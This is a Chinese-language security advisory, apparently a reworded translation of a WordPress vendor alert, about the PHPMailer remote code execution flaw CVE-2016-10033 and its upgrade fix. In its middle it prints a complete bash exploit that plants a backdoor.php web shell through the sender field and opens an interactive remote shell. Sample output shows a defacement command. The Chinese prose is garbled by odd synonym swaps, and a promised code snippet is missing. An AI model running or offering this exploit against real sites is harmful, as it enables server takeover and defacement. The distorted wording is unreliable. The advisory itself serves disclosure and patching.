近日,波兰研究人员 Dawid Golunski 发明了一个存在于PHPMailer中的严重长途代码执行缝隙。该缝隙在昨天的legalhackers.com上发布,但缝隙操作细节的观点验证并未包孕在内。
不幸的是在几个小时前,有人向exploit-db和github颁布了一个观点验证,演示了如安在PHPMailer库中操作此缝隙,但是出于安适考虑并不针对任何一个正在投入使用中的Web应用措施。
我们正在着手筹备颁布这个原本在打算之外的更新,以便向PHP开发人员和我们的社区提前警告这个问题。因为我们预计跟着更多开发人员和心怀不轨的人检察到上面的观点验证代码后会导致这个事件连续酝酿。
PHPMailer是WordPress顶用来发送电子邮件的核心部分。 你可以在wp-includes / class-smtp.php核心文件中找到代码。
不要惊慌
注意:无论对付WordPress的核心还是任何WordPress主题或插件, 目前尚没有果然可行的缝隙操作代码。我们看到的独一缝隙操作是研究人员针对他们本身的应用措施进行了验证,以此表白PHPMailer中存在此缝隙。 (详情如下)
请不要联系WordPress核心团队、WordPress论坛版主或其他任何人,报告他们“你的WordPress网站将被操作”,这将引起不须要的发急。这项研究目前仍在进行中,我们让您提前意识到这个问题主要有两个原因:
1. 从用户的角度来讲,一旦解决方案颁布,就可以筹备升级WordPress核心和任何其他受影响的主题和插件。
2. 从开发者的角度来讲,如果他给与了这个版本的包罗缝隙的PHPMailer,就可以开始着手修补代码,以便尽快颁布给用户。
缝隙细节
如果你不熟悉RCE缝隙,那么这将是最糟糕的情况。在WordPress的历史上所有严重的缝隙都是长途代码执行缝隙,它们允许打击者在受害者网站上执行本身的代码从而控制整个网站。
我们对PHPMailer中受影响的代码进行了简要分析。 为了操作此缝隙,打击者似乎需要能够控制发件人的电子邮件地点。
PHPMailer中的弱点代码和修复代码的片段如下所示:

在这个包罗缝隙的PHPMailer(PHPMailer
PHPMailer的Docker复现环境(附POC): https://github.com/opsxcq/exploit-CVE-2016-10033
Exploit
#!/bin/bash
# CVE-2016-10033 exploit by opsxcq
# https://github.com/opsxcq/exploit-CVE-2016-10033
echo '[+] CVE-2016-10033 exploit by opsxcq'
if [ -z "$1" ]
then
echo '[-] Please inform an host as parameter'
exit -1
fi
host=$1
echo '[+] Exploiting '$host
curl -sq 'http://'$host -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzXJpHSq4mNy35tHe' --data-binary $'------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data;\r\n\r\nsubmit\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data;\r\n\r\n\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data;\r\n\r\nvulnerables@ -OQueueDirectory=/tmp -X/www/backdoor.php\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data;\r\n\r\nPwned\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe--\r\n' >/dev/null && echo '[+] Target exploited, acessing shell at '$host'/backdoor.php'
cmd='whoami'
while [ "$cmd" != 'exit' ]
do
echo '[+] Running '$cmd
curl -sq $host/backdoor.php?cmd=$(echo -ne $cmd | base64) | grep '|' | head -n 1 | cut -d '|' -f 2 | base64 -d
echo
read -p 'RemoteShell> ' cmd
done
echo '[+] Exiting'
To exploit this target just run:
./exploit host:port
If you are using this vulnerable image, you can just run:
./exploit localhost:8080
After the exploitation, a file called backdoor.php will be stored on the root folder of the web directory. And the exploit will drop you a shell where you can send commands to the backdoor:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at :8080/backdoor.php
[+] Running whoami
www-data
RemoteShell> echo 'Defaced' > /www/index.php
[+] Running echo 'Defaced' > /www/index.php
PHPMailer验证截图

如何应对
我们会向订阅者和客户发邮件预警。WordPress核心团队目前正在开发一个将包罗在WordPress核心安适颁布版本中的修复措施。尚没有确切的颁布时间,但会尽量在24小时之内。
一旦颁布,请尽快将WordPress核心进行升级。
如果在你本身的PHP应用、主题、插件中还在使用早于5.2.18版本的PHPMailer,请当即升级到PHPMailer 5.2.18或更高版本。
如果你是WordPress主题或插件开发人员,并且在你的插件或主题代码中包罗了早期版本的PHPMailer拷贝,则需要当即更新到PHPMailer 5.2.18或更新版本并向客户颁布修订。
缝隙历程时间线
1. 前不久在WordPress核心中颁布了一个问题讨论,此中包孕了一个修补措施来解决这个问题。它可以将使用PHPMailer 5.2.14的WP核心更新到5.2.19。但这只是一个建议的补丁,并不是官方的最终修复。